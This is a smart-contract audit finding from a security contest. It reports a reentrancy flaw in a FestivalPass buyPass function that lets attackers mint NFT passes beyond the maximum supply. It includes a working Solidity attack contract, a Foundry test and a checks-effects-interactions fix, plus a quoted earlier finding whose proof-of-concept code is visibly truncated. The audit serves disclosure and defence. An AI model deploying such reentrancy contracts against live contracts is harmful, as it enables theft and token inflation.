Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

### Reentrancy in `buyPass` via ERC1155 `onERC1155Received` callback allows minting passes beyond `maxSupply`

** Description **

  • buyPass checks that passSupply[collectionId] < passMaxSupply[collectionId], then calls _mint which delivers the ERC1155 token to the buyer. If the buyer is a contract, _mint invokes onERC1155Received on the recipient. Only after _mint returns does ++passSupply[collectionId] execute.

  • A malicious contract can re-enter buyPass from its onERC1155Received callback. Because the supply counter has not been incremented yet, the supply check passes on every re-entrant call. The attacker can mint an arbitrary number of passes in a single transaction, limited only by their ETH balance.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, ""); // External call to onERC1155Received BEFORE supply update
@> ++passSupply[collectionId]; // State update happens AFTER the external call
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

** Risk **

Likelihood:

  • Any attacker deploys a contract that implements onERC1155Received with a re-entrant call to buyPass — this is a well-known attack pattern and requires no special permissions or setup

  • The attack succeeds in a single transaction with no time constraints, making it trivially exploitable at any point after passes are configured

Impact:

  • The attacker mints an unlimited number of passes beyond maxSupply, breaking the intended scarcity guarantees of all pass tiers

  • VIP and BACKSTAGE re-entrant mints also trigger welcome bonuses on each iteration (5 or 15 BEAT respectively), compounding the damage with uncapped BEAT token inflation

** Proof of Concept **

Attack contract (test/AttackBuyPass.sol):

contract AttackBuyPass {
FestivalPass immutable festivalPass;
uint256 immutable collectionId;
uint256 immutable passPrice;
uint256 immutable mintTarget;
uint256 public mintCount;
constructor(
FestivalPass _festivalPass,
uint256 _collectionId,
uint256 _passPrice,
uint256 _mintTarget
) payable {
festivalPass = _festivalPass;
collectionId = _collectionId;
passPrice = _passPrice;
mintTarget = _mintTarget;
}
function attack() external {
festivalPass.buyPass{value: passPrice}(collectionId);
}
function onERC1155Received(
address, address, uint256, uint256, bytes calldata
) external returns (bytes4) {
mintCount++;
if (mintCount < mintTarget && address(this).balance >= passPrice) {
festivalPass.buyPass{value: passPrice}(collectionId);
}
return this.onERC1155Received.selector;
}
receive() external payable {}
}

Test:

function test_BuyPass_ReentrancyExceedsMaxSupply() public {
uint256 targetPassId = 1;
uint256 maxSupply = 2;
uint256 mintTarget = 3; // attacker wants 3 passes from a max of 2
// Organizer sets a tight max supply of 2
vm.prank(organizer);
festivalPass.configurePass(targetPassId, GENERAL_PRICE, maxSupply);
// Deploy attack contract funded with enough ETH for 3 mints
AttackBuyPass attacker = new AttackBuyPass{value: mintTarget * GENERAL_PRICE}(
festivalPass,
targetPassId,
GENERAL_PRICE,
mintTarget
);
// Launch the reentrancy attack
attacker.attack();
// Attacker holds 3 passes despite maxSupply being 2
assertEq(festivalPass.balanceOf(address(attacker), targetPassId), 3);
assertTrue(festivalPass.passSupply(targetPassId) > festivalPass.passMaxSupply(targetPassId));
}

** Recommended Mitigation **

Move the state update before the external call (checks-effects-interactions pattern):

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!